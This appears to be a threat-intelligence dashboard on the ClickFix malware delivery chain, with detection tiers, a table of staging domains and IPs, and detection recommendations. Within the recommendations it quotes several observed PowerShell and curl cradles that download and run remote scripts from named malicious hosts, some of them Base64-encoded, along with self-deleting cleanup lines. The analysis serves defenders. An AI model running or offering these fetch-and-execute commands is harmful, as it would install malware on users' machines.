ClickFix Delivery Chain — Trend Analysis
Detection Chokepoint Framework
Five stages of the ClickFix delivery chain. Not all stages are equally detectable — Tier 1 are unavoidable adversary actions regardless of how the lure evolves.
The Tier 1 chokepoints are process spawn and network fetch — every cradle family must touch the network to retrieve the payload, and the unusual parent→PowerShell spawn is unavoidable because the user manually triggers execution from a Run dialog. These are the detection bets that pay off regardless of lure evolution. See the ClickFix Techniques chokepoint for detection logic.
Monthly Volume — Malicious Sites Detected
Total sites crawled vs. confirmed malicious per month across 493 nightly ClickGrab scans.
Tier 1 Chokepoint: Cradle Family Evolution
The network fetch is the unavoidable action. This chart shows how adversaries are fetching payloads — and how that method has shifted as defenders tuned IWR/IEX detections.
iwr|Invoke-WebRequest pattern matching, coverage dropped significantly in Q4 2025.
Evasion Technique Trends — Where Adversaries Are Adapting
These are the adversary adaptation signals in the trend data. Rising lines indicate where defenders got effective and adversaries responded. Flat lines with spikes indicate campaign surges.
iwr https:// are seeing the encoded version, not the decoded cradle. Detection must decode or detect the encoding act itself.
Staging Infrastructure
Domains serving the actual payloads (from PowerShell download commands). CDN-hosted payloads defeat domain-reputation blocking — the infrastructure looks like legitimate web hosting.
| Domain / IP | Payloads | Type | Blind spot | |
|---|---|---|---|---|
irp.cdn-website.com |
468 | CDN | Domain reputation blocklists ineffective (legitimate CDN provider) | |
|
Hosting
CDN Legitimate content delivery network
Registered
—
Status
Active
DNS history
SecurityTrails →
|
||||
yogasitesdev.wpengine.com |
116 | — | Managed WP hosting — likely compromised; blocklist removes legitimate sites | |
|
Country
US
Hosting
Managed Managed hosting (likely compromised)
Registered
—
Status
Active
DNS history
SecurityTrails →
|
||||
aatox.com |
83 | — | — | |
|
Hosting
Bulletproof Abuse-tolerant VPS / dedicated hosting
Registered
—
Status
Taken down
DNS history
SecurityTrails →
|
||||
80.253.249.186 |
43 | IP | — | |
|
Hosting
Bulletproof Abuse-tolerant VPS / dedicated hosting
Status
Taken down
DNS history
SecurityTrails →
|
||||
95.164.53.214 |
16 | IP | — | |
|
Hosting
Bulletproof Abuse-tolerant VPS / dedicated hosting
Status
Taken down
DNS history
SecurityTrails →
|
||||
91.247.36.3 |
4 | IP | — | |
|
Hosting
Bulletproof Abuse-tolerant VPS / dedicated hosting
Status
Taken down
DNS history
SecurityTrails →
|
||||
sitecariri.com.br |
2 | — | — | |
|
Country
BR
Hosting
Compromised Legitimate site abused as staging host
Registered
—
Status
Unknown
DNS history
SecurityTrails →
|
||||
fundacion-cannabis-argentina.org |
2 | — | — | |
|
Country
AR
Hosting
Compromised Legitimate site abused as staging host
Registered
—
Status
Unknown
DNS history
SecurityTrails →
|
||||
ghenvironment.com |
2 | — | — | |
|
Hosting
Compromised Legitimate site abused as staging host
Registered
—
Status
Unknown
DNS history
SecurityTrails →
|
||||
cmparazinho.rn.gov.br |
2 | — | — | |
|
Country
BR
Hosting
Compromised Legitimate site abused as staging host
Registered
—
Status
Unknown
DNS history
SecurityTrails →
|
||||
Click any row to expand ASN, geo, hosting type, and registration details. ASN / geo data populated by analyze_clickgrab.py via ip-api.com and RDAP on next pipeline run. Passive DNS history requires a SecurityTrails or similar account.
irp.cdn-website.com appeared in 411 payload fetches. This is a legitimate CDN used by website builders — blocking it would impact legitimate sites. Detection must shift to behavioral signals (PowerShell → network → unusual domain path) rather than domain-reputation lookup.
Detection Recommendations
Prioritized by chokepoint tier. Tier 1 recommendations survive lure evolution, cradle rotation, and obfuscation changes.
explorer.exe or cmd.exe (from Run dialog) spawning powershell.exe with a window-hidden flag. This signal is constant regardless of cradle family rotation. See sigma-rules/clickfix/hunt.yml.
powershell -ep bypass -w hidden -c "iex(iwr 'https://aatox.com/stage2.ps1' -UseBasicParsing)"
powershell.exe -w hidden -nop -c "IEX (iwr -Uri 'https://irp.cdn-website.com/files/uploaded/3b7f1c/run.ps1' -UseBasicParsing).Content"
powershell -w hidden -nop -ep bypass -c "iex(irm 'https://80.253.249.186/loader.ps1')"
(New-Object Net.WebClient).DownloadString('https://yogasitesdev.wpengine.com/wp-content/uploads/a.ps1') | iex
$wc=New-Object Net.WebClient; iex $wc.DownloadString('https://irp.cdn-website.com/files/uploaded/9d4e/payload.ps1')
curl.exe -s https://95.164.53.214/payload.ps1 | iex
powershell -w hidden -nop -c "curl.exe -UseBasicParsing https://aatox.com/stg.ps1 | iex"
[Convert]::FromBase64String or [Text.Encoding]::UTF8.GetString followed immediately by iex / Invoke-Expression. The encoding act itself is detectable even when the decoded content is not. This covers the 18× Base64 increase seen in Jan 2026.
powershell.exe -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAn...
$c=New-Object Net.WebClient; iex $c.DownloadString('https://aatox.com/run.ps1')
powershell -w 1 -nop -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMA...
IEX(New-Object Net.WebClient).DownloadString('https://irp.cdn-website.com/files/uploaded/7c2a/stage2.ps1')
%TEMP% → process execution from that path → file deletion within seconds. If artifact-based rules are your only coverage, they're now blind after execution completes. Use process execution telemetry, not file presence.
Start-Sleep -Seconds 2; Remove-Item -Path $MyInvocation.MyCommand.Path -Force
$p=$MyInvocation.MyCommand.Path; Start-Sleep 1; Remove-Item $p -Force -ErrorAction SilentlyContinue
irp.cdn-website.com is a legitimate CDN. Block it and you break legitimate sites. Instead, alert on PowerShell fetching from *.cdn-website.com paths matching /files/uploaded/*.ps1. Or use JA4/TLS fingerprinting on the outbound connection rather than the destination hostname.
https://irp.cdn-website.com/files/uploaded/38ef2b/setup.ps1
https://irp.cdn-website.com/files/uploaded/9d4e22/loader.ps1